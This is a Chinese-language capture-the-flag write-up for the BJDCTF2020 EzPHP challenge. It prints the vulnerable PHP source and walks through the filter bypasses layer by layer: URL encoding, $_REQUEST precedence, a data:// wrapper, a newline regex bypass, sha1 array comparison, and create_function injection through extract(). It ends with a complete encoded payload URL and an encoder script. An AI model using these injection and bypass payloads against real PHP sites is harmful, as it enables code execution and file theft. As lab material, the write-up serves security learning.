[BJDCTF2020]EzPHP 1
目錄
- 前言
- 源碼
- 思路
- 第一層過濾
- 第三層過濾
- 第四層和第二層過濾
- 第五層
- 第六層過濾
- 題解
- 解法一
- 解法二
- 總結
前言
這題也來自Y1ng師傅的babycode,剛剛做完babycode,順便刷一刷這題
源碼
查看源代碼 HEX解碼 1nD3x.php
<?php highlight_file(__FILE__); error_reporting(0); $file = "1nD3x.php"; $shana = $_GET['shana']; $passwd = $_GET['passwd']; $arg = ''; $code = '';echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])) die('You seem to want to do something bad?'); }if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} } else die('fxck you! What do you want to do ?!');if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } } if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>"; } else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); }if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php";$code('', $arg); } ?> This is a very simple challenge and if you solve it I will give you a flag. Good Luck! fxck you! I hate English!思路
先提一個小坑,$_REQUEST = $_POST+$_GET+$_COOKIE,如果進入頁面顯示fxck you! I hate English!,刪掉cookie就好了.
代碼有點多,我們一層一層拆開來看
第一層過濾
if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])) die('You seem to want to do something bad?'); }$_SERVER['QUERY_STRING']的值為請求的參數
參考 http://www.360doc.com/content/18/0203/09/52553745_727370869.shtml
但發現第一層把shana和passwd過濾掉了,試試url編碼,成功繞過
?%73%68%61%6e%61=a&%70%61%73%73%77%64=a
第三層過濾
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } }$_REQUEST可以接收GET和POST請求
經過本地測試
<?php $cmd = $_GET['cmd'];print_r($_REQUEST); if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } } eval($cmd); ?>同時傳入get和post就能繞過過濾,在$_REQUEST中post優先度更高
post提交 shana=1&passwd=1,繞過第三層
第四層和第二層過濾
這時候 Am not I universe wudi zuishuai? 的提示,$file應該在第二層傳入
//第二層 if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} } else die('fxck you! What do you want to do ?!'); //第四層 if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");先解決第四層的
file_get_contents是讀取文件內容,這里可以用data偽協議
data://text/plain,debu_debu_aqua
由于debu_debu_aqua中有被第一層過濾,用url編碼
%66%69%6c%65=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61
同時post提交file=1
第二層的aqua_is_cute有個正則匹配/^aqua_is_cutei$/從aqua_is_cute開始,以aqua_is_cute結尾,可以在結尾加上%0a繞過
debu=aqua_is_cute%0a
url編碼
%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a
POST:
debu=1
成功進入第五層
GET:
1nD3x.php?%73%68%61%6e%61=aaa&%70%61%73%73%77%64=aaa&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61
POST:
shana=1&passwd=1&debu=1&file=1
第五層
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>"; } else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); }===是強類型,繞過sha1很簡單,sha1無法處理數組,默認返回false也就是0
shana[]=&passwd[]=1
post中的shana=1和passwd也可以刪掉了,preg_match不會處處理數組
post
debu=1&file=1
第六層過濾
if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php";$code('', $arg); } ?>現在我們進入第六層了,但是我們并沒有$code和$arg的值,應該用extract($_GET["flag"])
extract可以給變量$code和$arg賦值
看到$code('', $arg);,可以想到用create_function () 代碼注入
限制了$arg不能直接查看flag,除了過濾的system還有exec等盡管沒被過濾卻在php.ini被disabled的,不夠可以用get_defined_vars()
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) )$flag[code]=create_function,$flag[arg]=} var_dump(get_defined_vars())//;
提示flag在rea1fl4g.php
題解
解法一
用 require包含rea1flag.php,記得把rea1flag.php base64加密,可以繞過過濾. 再用get_defined_vars()輸出,但是不知道為什么不行
解法二
把php://filter/read=convert.base64-encode/resource=rea1fl4g.php 取反 用require包含,可以不加()
require~%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f
取反腳本
<?php $a = $_GET['a']; echo "~("; for ($i = 0; $i < strlen($a); $i++) {echo "%".bin2hex(~$a[$i]); } echo ")";完整payload
http://b046d527-263e-47ba-a939-3f94f23e6dc0.node4.buuoj.cn:81/1nD3x.php?%73%68%61%6e%61[]=&%70%61%73%73%77%64[]=1&%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%66%6c%61%67%5b%63%6f%64%65%5d=create_function&%66%6c%61%67%5b%61%72%67%5d=} require~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f); //post:debu=1&file=1
base64解碼 拿到flag
總結
差不多重溫了一遍
《新程序員》:云原生和全面數字化實踐50位技術專家共同創作,文字、視頻、音頻交互閱讀總結
以上是生活随笔為你收集整理的[BJDCTF2020]EzPHP 1的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Y1ng‘s BabyCode
- 下一篇: CTFshow php特性 web89